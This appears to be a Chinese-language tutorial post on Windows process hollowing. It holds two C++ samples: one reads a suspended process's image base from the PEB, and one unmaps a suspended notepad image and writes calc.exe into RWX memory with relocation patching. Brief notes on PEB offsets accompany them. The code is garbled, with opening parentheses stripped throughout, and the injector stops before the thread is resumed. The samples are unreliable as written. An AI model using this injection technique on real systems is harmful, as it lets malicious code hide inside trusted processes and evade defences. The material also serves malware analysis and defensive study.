#include <iostream> #include <Windows.h> #include <winternl.h> #include <tchar.h> #pragma commentlib, "ntdll") int main) { // create destination process - this is the process to be hollowed out LPSTARTUPINFOA si = new STARTUPINFOA); LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION); PROCESS_BASIC_INFORMATION* pbi = new PROCESS_BASIC_INFORMATION); ULONG returnLenght = 0; CreateProcessANULL, LPSTR)"c:\windows\system32\calc.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi); HANDLE destProcess = pi->hProcess; // get destination imageBase offset address from the PEB NtQueryInformationProcessdestProcess, ProcessBasicInformation, pbi, sizeofPROCESS_BASIC_INFORMATION), &returnLenght); ULONG_PTR pebImageBaseOffset = ULONG_PTR)pbi->PebBaseAddress + 8; //如果是在x64,则改成16 // get destination imageBaseAddress LPVOID destImageBase = 0; SIZE_T bytesRead = NULL; ReadProcessMemorydestProcess, LPCVOID)pebImageBaseOffset, &destImageBase, sizeofULONG_PTR), &bytesRead);
std::cout << "pebImageBaseOffset is: " << destImageBase << std::endl; std::cin.get);
}
因为PebBaseAddress在x86下是指向PEB+8,在x64下是指向PEB+16
具体的结构体:
typedef struct _PEB { BYTE Reserved1[2]; //2个字节 BYTE BeingDebugged; //1个字节 BYTE Reserved2[1]; //1个字节 PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID Reserved4[3]; PVOID AtlThunkSListPtr; PVOID Reserved5; ULONG Reserved6; PVOID Reserved7; ULONG Reserved8; ULONG AtlThunkSListPtr32; PVOID Reserved9[45]; BYTE Reserved10[96]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved11[128]; PVOID Reserved12[1]; ULONG SessionId; } PEB, *PPEB;
如果在x86下,则是以4字节对齐,那么偏移8才能指向Reserved3[1]
在x64下,则是以8字节对齐,那么只有偏移16才能指向Reserved3[1]
可以看这个链接:https://blog.csdn.net/v2x222/article/details/71082150 (ImageBaseAddress : Ptr32 Void and +0x010 ImageBaseAddress : Ptr64 Void)
第二个sample:
#include <iostream> #include <Windows.h> #include <winternl.h> #pragma commentlib, "ntdll") using NtUnmapViewOfSection = NTSTATUSWINAPI*)HANDLE, PVOID); typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; DWORD BlockSize; } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; int main) { // create destination process - this is the process to be hollowed out LPSTARTUPINFOA si = new STARTUPINFOA); LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION); PROCESS_BASIC_INFORMATION* pbi = new PROCESS_BASIC_INFORMATION); ULONG returnLenght = 0; CreateProcessANULL, LPSTR)"c:\windows\syswow64\notepad.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi); HANDLE destProcess = pi->hProcess; // get destination imageBase offset address from the PEB NtQueryInformationProcessdestProcess, ProcessBasicInformation, pbi, sizeofPROCESS_BASIC_INFORMATION), &returnLenght); ULONG_PTR pebImageBaseOffset = ULONG_PTR)pbi->PebBaseAddress + 16; // get destination imageBaseAddress LPVOID destImageBase = 0; SIZE_T bytesRead = NULL; ReadProcessMemorydestProcess, LPCVOID)pebImageBaseOffset, &destImageBase, sizeofULONG_PTR), &bytesRead); // read source file - this is the file that will be executed inside the hollowed process HANDLE sourceFile = CreateFileA"c:\windows\system32\calc.exe", GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL); ULONG_PTR sourceFileSize = GetFileSizesourceFile, NULL); SIZE_T fileBytesRead = 0; LPVOID sourceFileBytesBuffer = HeapAllocGetProcessHeap), HEAP_ZERO_MEMORY, sourceFileSize); ReadFilesourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL); // get source image size PIMAGE_DOS_HEADER sourceImageDosHeaders = PIMAGE_DOS_HEADER)sourceFileBytesBuffer; PIMAGE_NT_HEADERS sourceImageNTHeaders = PIMAGE_NT_HEADERS)ULONG_PTR)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew); SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage; // carve out the destination image NtUnmapViewOfSection myNtUnmapViewOfSection = NtUnmapViewOfSection)GetProcAddressGetModuleHandleA"ntdll"), "NtUnmapViewOfSection")); myNtUnmapViewOfSectiondestProcess, destImageBase); // allocate new memory in destination image for the source image LPVOID newDestImageBase = VirtualAllocExdestProcess, destImageBase, sourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); destImageBase = newDestImageBase; // get delta between sourceImageBaseAddress and destinationImageBaseAddress ULONG_PTR deltaImageBase = ULONG_PTR)destImageBase - sourceImageNTHeaders->OptionalHeader.ImageBase; // set sourceImageBase to destImageBase and copy the source Image headers to the destination image sourceImageNTHeaders->OptionalHeader.ImageBase = ULONG_PTR)destImageBase; WriteProcessMemorydestProcess, newDestImageBase, sourceFileBytesBuffer, sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, NULL); // get pointer to first source image section PIMAGE_SECTION_HEADER sourceImageSection = PIMAGE_SECTION_HEADER)ULONG_PTR)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + sizeof_IMAGE_NT_HEADERS64)); //IMAGE_NT_HEADERS32 PIMAGE_SECTION_HEADER sourceImageSectionOld = sourceImageSection; // copy source image sections to destination for int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++) { PVOID destinationSectionLocation = PVOID)ULONG_PTR)destImageBase + sourceImageSection->VirtualAddress); PVOID sourceSectionLocation = PVOID)ULONG_PTR)sourceFileBytesBuffer + sourceImageSection->PointerToRawData); WriteProcessMemorydestProcess, destinationSectionLocation, sourceSectionLocation, sourceImageSection->SizeOfRawData, NULL); sourceImageSection++; } // get address of the relocation table IMAGE_DATA_DIRECTORY relocationTable = sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; // patch the binary with relocations sourceImageSection = sourceImageSectionOld; for int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++) { BYTE* relocSectionName = BYTE*)".reloc"; if memcmpsourceImageSection->Name, relocSectionName, 5) != 0) { sourceImageSection++; continue; } ULONG_PTR sourceRelocationTableRaw = sourceImageSection->PointerToRawData; ULONG_PTR relocationOffset = 0; while relocationOffset < relocationTable.Size) { PBASE_RELOCATION_BLOCK relocationBlock = PBASE_RELOCATION_BLOCK)ULONG_PTR)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset); relocationOffset += sizeofBASE_RELOCATION_BLOCK); ULONG_PTR relocationEntryCount = relocationBlock->BlockSize - sizeofBASE_RELOCATION_BLOCK)) / sizeofBASE_RELOCATION_ENTRY); PBASE_RELOCATION_ENTRY relocationEntries = PBASE_RELOCATION_ENTRY)ULONG_PTR)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset); for ULONG_PTR y = 0; y < relocationEntryCount; y++) { relocationOffset += sizeofBASE_RELOCATION_ENTRY); if relocationEntries[y].Type == 0) { continue; } ULONG_PTR patchAddress = relocationBlock->PageAddress + relocationEntries[y].Offset; ULONG_PTR patchedBuffer = 0; ReadProcessMemorydestProcess, LPCVOID)ULONG_PTR)destImageBase + patchAddress), &patchedBuffer, sizeofULONG_PTR), &bytesRead); patchedBuffer += deltaImageBase; WriteProcessMemorydestProcess, PVOID)ULONG_PTR)destImageBase + patchAddress), &patchedBuffer, sizeofULONG_PTR), &fileBytesRead); } } } return 0; }